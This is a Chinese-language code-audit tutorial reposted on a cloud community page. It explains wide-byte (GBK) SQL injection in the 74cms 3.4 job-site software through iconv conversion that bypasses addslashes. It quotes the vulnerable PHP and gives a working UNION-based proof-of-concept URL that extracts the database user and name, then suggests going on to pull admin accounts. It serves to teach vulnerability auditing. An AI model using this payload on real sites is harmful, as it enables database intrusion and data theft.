【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 5.全域防護Bypass之寬位元組注入

來源:互聯網
上載者:User

標籤:

0x01 背景

首先我們瞭解下寬位元組注入,寬位元組注入源於程式員設定MySQL串連時錯誤配置為:set character_set_client=gbk,這樣配置會引發編碼轉換從而導致的注入漏洞。具體原理如下:
1.正常情況下當GPC開啟或使用addslashes函數過濾GET或POST提交的參數時,駭客使用的單引號 ‘ 就會被轉義為: \’;
2.但如果存在寬位元組注入,我們輸入%df%27時首先經過上面提到的單引號轉義變成了%df%5c%27(%5c是反斜線\),之後在資料庫查詢前由於使用了GBK多位元組編碼,即在漢字編碼範圍內兩個位元組會被編碼為一個漢字。然後MySQL伺服器會對查詢語句進行GBK編碼即%df%5c轉換成了漢字“運”(註:GBK的漢字編碼範圍見附錄),而單引號逃逸了出來,從而造成了注入漏洞。
現在基本上都會將mysql的串連配置為“set character_set_client=binary”來解決這個問題,所以這篇文章將介紹出現在php中因為字元編碼轉換導致的注入問題。
漏洞來源於烏云:http://www.wooyun.org/bugs/wooyun-2014-063219

0x02 環境搭建

看背景我們使用了低版本的74cms程式,版本為3.4(20140310)
①源碼網上可以搜到,我打包了一份:http://pan.baidu.com/s/1c1mLCru
②解壓到www的74cms(20140310)目錄下,瀏覽器訪問http://localhost/74cms(20140310)),然後按照提示一步步安裝即可,安裝遇到問題請自行百度或Google,成功後訪問如:

0x03 漏洞分析

Part1:源碼結構

源碼的結構比較清晰,應該是審計過最清晰的結構 了,主要有下面三塊內容:

index.php引入了common.inc.php檔案,我們跟進common.inc.php,發現了處理gpc的函數:

<?php
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
?>

 

可以看到,服務端處理GET和POST請求的變數時都會做addslashes處理。
而且74cms為了防止寬位元組注入,將MySQL串連設定為二進位讀取,配置在/include/mysql.class.php中:

<?php
function connect($dbhost, $dbuser, $dbpw, $dbname = ‘‘, $dbcharset = ‘gbk‘, $connect = 1)
{
$func = empty($connect) ? ‘mysql_pconnect‘ : ‘mysql_connect‘;
if (!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)) {
$this->dbshow(‘Can not connect to Mysql!‘);
} else {
if ($this->dbversion() > ‘4.1‘) {
mysql_query("SET NAMES gbk");
if ($this->dbversion() > ‘5.0.1‘) {
mysql_query("SET sql_mode = ‘‘", $this->linkid);
//character_set_client=binary即二進位方式
mysql_query("SET character_set_connection=" . $dbcharset . ", character_set_results=" . $dbcharset . ", character_set_client=binary", $this->linkid);
}
}
}
...
}
?>

 

接下來看看php中iconv函數的使用會造成什麼樣的後果。

Part2:審計過程

注入一分析:
1.在/plus/ajax_user.php註冊處:

elseif($act == ‘do_reg‘)
{
$captcha = get_cache(‘captcha‘);
if ($captcha[‘verify_userreg‘] == "1") {
$postcaptcha = $_POST[‘postcaptcha‘];
if ($captcha[‘captcha_lang‘] == "cn" && strcasecmp(QISHI_DBCHARSET, "utf8") != 0) {
$postcaptcha = iconv("utf-8", QISHI_DBCHARSET, $postcaptcha);
}
if (empty($postcaptcha) || empty($_SESSION[‘imageCaptcha_content‘]) || strcasecmp($_SESSION[‘imageCaptcha_content‘], $postcaptcha) != 0) {
exit("err");
}
}
require_once(QISHI_ROOT_PATH . ‘include/fun_user.php‘);
$username = isset($_POST[‘username‘]) ? trim($_POST[‘username‘]) : exit("err");
$password = isset($_POST[‘password‘]) ? trim($_POST[‘password‘]) : exit("err");
$member_type = isset($_POST[‘member_type‘]) ? intval($_POST[‘member_type‘]) : exit("err");
$email = isset($_POST[‘email‘]) ? trim($_POST[‘email‘]) : exit("err");
if (strcasecmp(QISHI_DBCHARSET, "utf8") != 0) {
//對註冊的名字進行utf-8到GBK的編碼轉換
$username = iconv("utf-8", QISHI_DBCHARSET, $username);
$password = iconv("utf-8", QISHI_DBCHARSET, $password);
}
$register = user_register($username, $password, $member_type, $email);

 

這裡我們思考下“錦”這個字,它的utf-8編碼是e98ca6,它的gbk編碼是e55c,而上面提到過反斜線\正好為5c。
所以如果我們將username設定為:錦’,首先經過addlashes函數或GPC對單引號轉義變為:錦\’,然後這裡註冊時會經過icnov函數會對”錦”轉化為gbk編碼,最後就是:%e5%5c%5c%27。反斜線被轉義了(%5c%5c),從而單引號逃逸出來引發注入漏洞。

2.我們繼續跟進$register=user_register($username,$password,$member_type,$email);
這裡的user_register函數,在/include/fun_user.php裡:

//檢查簡曆的完成程度
//註冊會員
function user_register($username,$password,$member_type=0,$email,$uc_reg=true)
{
global $db,$timestamp,$_CFG,$online_ip,$QS_pwdhash;
$member_type=intval($member_type);
//這裡是用get_user_inusername函數來判斷使用者名稱是否已經存在,我們跟進
$ck_username=get_user_inusername($username);
$ck_email=get_user_inemail($email);
... ...
return $insert_id;
}

 

3.繼續跟進get_user_inusername函數,在/include/fun_user.php裡:

function get_user_inusername($username)
{
global $db;
//帶入查詢,可注入~
$sql = "select * from ".table(‘members‘)." where username = ‘{$username}‘ LIMIT 1";
}

 

注入二分析:
在plus/ajax_street.php中:

elseif($act == ‘key‘)
{
$key = trim($_GET[‘key‘]);
if (!empty($key)) {
if (strcasecmp(QISHI_DBCHARSET, "utf8") != 0)
//對參數key進行utf-8到GBK編碼的轉換
$key = iconv("utf-8", QISHI_DBCHARSET, $key);
//帶入查詢,可以注入
$result = $db->query("select * from " . table(‘category‘) . " where c_alias=‘QS_street‘ AND c_name LIKE ‘%{$key}%‘ ");
//將查詢結果輸出到頁面中,可回顯
while ($row = $db->fetch_array($result)) {
if ($listtype == "li") {
$htm .= "<li title=\"{$row[‘c_name‘]}\" id=\"{$row[‘c_id‘]}\">{$row[‘c_name‘]}</li>";
} else {
$_GET[‘streetid‘] = $row[‘c_id‘];
$url = url_rewrite(‘QS_street‘, $_GET);
$htm .= "<li><a href=\"{$url}\" title=\"{$row[‘c_note‘]}\" class=\"vtip\">{$row[‘c_name‘]}</a><span>{$row[‘stat_jobs‘]}</span></li>";
};
}
if (empty($htm)) {
$htm = "<span class=\"noinfo\">沒有找到關鍵字: <span>{$key}</span> 相關道路!</span>";
}
exit($htm);
}
}

 

這裡分析發現頁面將查詢結果回顯出來,構造一些union的查詢語句即可擷取資料庫的敏感資訊。

0x04 漏洞證明

我們使用注入二(有回顯)的來做證明
發現74cms的category表有9個欄位,所以構造擷取資料庫使用者和相關資訊的POC:

http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,user(),5,6,7,database(),9%23


查看sql語句發現查詢語句裡反斜線被轉移,單引號成功逃逸出來:

最後,有興趣的同學可以繼續擷取其它的管理員賬戶等相關欄位的資訊。

附GBK的漢字編碼範圍:

漢字區包括:
a. GB 2312 漢字區。即 GBK/2: B0A1-F7FE。收錄 GB 2312 漢字 6763 個,按原順序排列。
b. GB 13000.1 擴充漢字區。包括:
(1) GBK/3: 8140-A0FE。收錄 GB 13000.1 中的 CJK 漢字 6080 個。
(2) GBK/4: AA40-FEA0。收錄 CJK 漢字和增補的漢字 8160 個。CJK 漢字在前,按 UCS 代碼大小排列;增補的漢字(包括部首和構件)在後,按《康熙字典》的頁碼/字位排列。

可以看到,GBK編碼中的兩個字元是一個漢字,第一個字元需要大於128。

原文連結:http://www.cnbraid.com/2016/02/28/sql4/,如需轉載請聯絡作者。

【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 5.全域防護Bypass之寬位元組注入

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.